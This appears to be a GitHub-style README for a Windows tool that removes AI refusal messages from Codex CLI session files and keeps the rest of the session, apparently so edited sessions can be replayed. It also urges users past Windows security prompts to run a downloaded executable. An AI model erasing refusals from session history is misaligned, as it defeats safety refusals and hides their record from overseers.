codex-session-patcher helps you clean AI refusal responses from Codex CLI session files. It is a small Python tool made for end users who want to fix session data without editing files by hand.
Use it when a session file contains refusal text that gets in the way of review, replay, or cleanup. The tool scans the file, removes the refusal parts, and keeps the rest of the session content intact.
You need:
- A Windows PC
- A web browser
- Access to the internet
- A Codex CLI session file
- Permission to edit the file you want to patch
You do not need to know Python or use a command line if you download the packaged Windows file from the release page.
Visit the release page to download and run this file:
On that page, look for the latest release. Download the Windows file that matches your system. If you see more than one asset, choose the file that ends in .exe or the Windows package name used in the release.
- Open the release page in your browser.
- Find the latest version near the top of the page.
- Download the Windows file for codex-session-patcher.
- If your browser asks where to save it, choose a folder you can find later, such as Downloads.
- Open the file after it finishes downloading.
- If Windows shows a security prompt, choose the option that lets you continue.
- If the file opens in a console window, follow the on-screen prompts.
- Select the session file you want to clean.
- Let the tool process the file.
- Save the cleaned file when the tool finishes.
If the release includes a portable build, you can run it right away. If it includes a ZIP file, extract it first, then open the app inside the folder.
The normal flow is simple:
- Start the app.
- Pick your Codex CLI session file.
- Let the tool scan the file for refusal responses.
- Review the result if the app shows a preview.
- Save the patched file.
If you want to keep the original file, make a copy before you run the tool. That gives you a safe backup in case you want to compare files later.
codex-session-patcher is built for Codex CLI session files. These are text-based files that store session content from your work with Codex CLI.
It works best with files that contain:
- AI refusal messages
- Session text that needs cleanup
- Mixed content with both useful data and blocked responses
It keeps the file structure intact while removing unwanted refusal text from the session.
You may want this tool if:
- A session file contains repeated refusal text
- You want to clean a file before review
- You need a simpler version of a session log
- You want to remove blocked responses from exported session data
- You need to make session files easier to read
It is useful when you want a quick cleanup without opening the file in a text editor.
When you run codex-session-patcher, it should:
- Open your session file
- Look for refusal responses
- Remove the refusal parts
- Keep the rest of the session data
- Save a cleaned copy or patch the file you selected
The process should be fast on most Windows systems. For small session files, it should finish in a few seconds.
If the app does not start:
- Check that the file finished downloading
- Make sure you opened the correct Windows file
- Try running it again
- Move the file to a simple folder like Downloads or Desktop
If the tool cannot find your session file:
- Check the file name
- Make sure you picked the right folder
- Confirm the file is a Codex CLI session file
If Windows blocks the file:
- Open the file’s properties
- Look for an unblock option if Windows shows one
- Try downloading the latest release again
- Keep a backup of the original session file
- Use the latest release from the release page
- Store your session files in a folder you can find fast
- Avoid renaming files while the tool is open
- Close other apps if your computer is low on memory
A simple workflow looks like this:
- Download the Windows release from GitHub
- Save it in your Downloads folder
- Open the app
- Choose a session file with refusal text
- Run the patch
- Open the cleaned file and check the result
This is the easiest way to use the tool if you only want one file cleaned.
Download and run the Windows file from here:
Use this page to get the latest version, check for updates, and download the correct file for your Windows PC
- Name: codex-session-patcher
- Type: Python tool
- Purpose: Clean AI refusal responses from Codex CLI session files
- Platform focus: Windows
- Audience: End users who want a simple file cleanup tool
The tool works on local files you choose. It does not need access to your whole computer. For best results, work on a copy of the session file so your original stays unchanged
- Go to the release page
- Download the Windows file
- Open the app
- Select your Codex CLI session file
- Let the tool clean the refusal responses
- Save the result